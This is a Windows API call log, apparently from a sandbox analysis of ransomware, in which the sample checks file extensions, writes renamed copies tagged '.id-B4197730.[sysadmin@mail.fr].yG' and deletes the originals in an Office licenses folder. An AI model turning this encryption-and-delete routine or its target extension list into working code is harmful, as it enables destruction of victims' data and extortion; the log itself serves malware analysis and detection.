	[0161.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0161.992] lstrlenW (lpString=".zip") returned 4
	[0161.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.992] lstrlenW (lpString=".rar") returned 4
	[0161.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.992] lstrlenW (lpString=".bz2") returned 4
	[0161.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.992] lstrlenW (lpString=".7z") returned 3
	[0161.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0161.992] lstrlenW (lpString=".dbf") returned 4
	[0161.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0161.992] lstrlenW (lpString=".1cd") returned 4
	[0161.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0161.992] lstrlenW (lpString=".jpg") returned 4
	[0161.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0161.994] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3219) returned 1
	[0161.994] CloseHandle (hObject=0x52c) returned 1
	[0161.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220
	[0161.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0161.995] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.995] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0161.996] GetLastError () returned 0x0
	[0161.996] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xc93, lpOverlapped=0x0) returned 1
	[0162.007] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0162.009] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.009] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x122, lpOverlapped=0x0) returned 1
	[0162.009] SetEndOfFile (hFile=0x514) returned 1
	[0162.009] CloseHandle (hObject=0x514) returned 1
	[0162.009] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.009] SetEndOfFile (hFile=0x52c) returned 1
	[0162.014] CloseHandle (hObject=0x52c) returned 1
	[0162.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1
	[0162.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0162.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0162.016] lstrlenW (lpString=".doc") returned 4
	[0162.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString=".docx") returned 5
	[0162.016] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.016] lstrlenW (lpString=".pdf") returned 4
	[0162.016] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString=".xls") returned 4
	[0162.016] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString=".xlsx") returned 5
	[0162.016] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.016] lstrlenW (lpString=".ppt") returned 4
	[0162.016] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0162.016] lstrlenW (lpString=".zip") returned 4
	[0162.016] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString=".rar") returned 4
	[0162.016] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString=".bz2") returned 4
	[0162.016] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString=".7z") returned 3
	[0162.016] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0162.016] lstrlenW (lpString=".dbf") returned 4
	[0162.016] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0162.016] lstrlenW (lpString=".1cd") returned 4
	[0162.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0162.017] lstrlenW (lpString=".jpg") returned 4
	[0162.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.042] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3103) returned 1
	[0162.042] CloseHandle (hObject=0x52c) returned 1
	[0162.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220
	[0162.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.043] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.043] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0162.044] GetLastError () returned 0x0
	[0162.044] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xc1f, lpOverlapped=0x0) returned 1
	[0162.059] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xc20, lpOverlapped=0x0) returned 1
	[0162.086] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.086] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0162.087] SetEndOfFile (hFile=0x514) returned 1
	[0162.087] CloseHandle (hObject=0x514) returned 1
	[0162.087] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.087] SetEndOfFile (hFile=0x52c) returned 1
	[0162.090] CloseHandle (hObject=0x52c) returned 1
	[0162.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1
	[0162.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0162.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0162.092] lstrlenW (lpString=".doc") returned 4
	[0162.092] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.092] lstrlenW (lpString=".docx") returned 5
	[0162.092] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.092] lstrlenW (lpString=".pdf") returned 4
	[0162.092] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.092] lstrlenW (lpString=".xls") returned 4
	[0162.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.092] lstrlenW (lpString=".xlsx") returned 5
	[0162.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.092] lstrlenW (lpString=".ppt") returned 4
	[0162.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0162.092] lstrlenW (lpString=".zip") returned 4
	[0162.093] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.093] lstrlenW (lpString=".rar") returned 4
	[0162.093] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.093] lstrlenW (lpString=".bz2") returned 4
	[0162.093] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.093] lstrlenW (lpString=".7z") returned 3
	[0162.093] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0162.093] lstrlenW (lpString=".dbf") returned 4
	[0162.093] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0162.093] lstrlenW (lpString=".1cd") returned 4
	[0162.093] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0162.093] lstrlenW (lpString=".jpg") returned 4
	[0162.093] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.095] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=4208) returned 1
	[0162.095] CloseHandle (hObject=0x52c) returned 1
	[0162.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220
	[0162.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.095] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.096] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0162.099] GetLastError () returned 0x0
	[0162.099] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1070, lpOverlapped=0x0) returned 1
	[0162.101] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1080, lpOverlapped=0x0) returned 1
	[0162.103] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.103] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x106, lpOverlapped=0x0) returned 1
	[0162.103] SetEndOfFile (hFile=0x514) returned 1
	[0162.103] CloseHandle (hObject=0x514) returned 1
	[0162.103] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.103] SetEndOfFile (hFile=0x52c) returned 1
	[0162.107] CloseHandle (hObject=0x52c) returned 1
	[0162.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1
	[0162.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0162.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0162.108] lstrlenW (lpString=".doc") returned 4
	[0162.108] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.108] lstrlenW (lpString=".docx") returned 5
	[0162.108] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.108] lstrlenW (lpString=".pdf") returned 4
	[0162.108] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString=".xls") returned 4
	[0162.109] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString=".xlsx") returned 5
	[0162.109] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.109] lstrlenW (lpString=".ppt") returned 4
	[0162.109] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0162.109] lstrlenW (lpString=".zip") returned 4
	[0162.109] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString=".rar") returned 4
	[0162.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString=".bz2") returned 4
	[0162.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString=".7z") returned 3
	[0162.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0162.109] lstrlenW (lpString=".dbf") returned 4
	[0162.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0162.109] lstrlenW (lpString=".1cd") returned 4
	[0162.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0162.109] lstrlenW (lpString=".jpg") returned 4
	[0162.109] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.111] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=20841) returned 1
	[0162.111] CloseHandle (hObject=0x52c) returned 1
	[0162.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220
	[0162.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.112] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.112] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0162.113] GetLastError () returned 0x0
	[0162.113] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x5169, lpOverlapped=0x0) returned 1
	[0162.141] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0162.143] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.143] WriteFile (in: hFile=0x514, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0162.143] SetEndOfFile (hFile=0x514) returned 1
	[0162.143] CloseHandle (hObject=0x514) returned 1
	[0162.143] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.143] SetEndOfFile (hFile=0x52c) returned 1
	[0162.147] CloseHandle (hObject=0x52c) returned 1
	[0162.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1
	[0162.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0162.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0162.429] lstrlenW (lpString=".doc") returned 4
	[0162.429] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.429] lstrlenW (lpString=".docx") returned 5
	[0162.429] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.429] lstrlenW (lpString=".pdf") returned 4
	[0162.430] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString=".xls") returned 4
	[0162.430] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString=".xlsx") returned 5
	[0162.430] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.430] lstrlenW (lpString=".ppt") returned 4
	[0162.430] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0162.430] lstrlenW (lpString=".zip") returned 4
	[0162.430] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString=".rar") returned 4
	[0162.430] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString=".bz2") returned 4
	[0162.430] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.430] lstrlenW (lpString=".7z") returned 3
	[0162.430] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
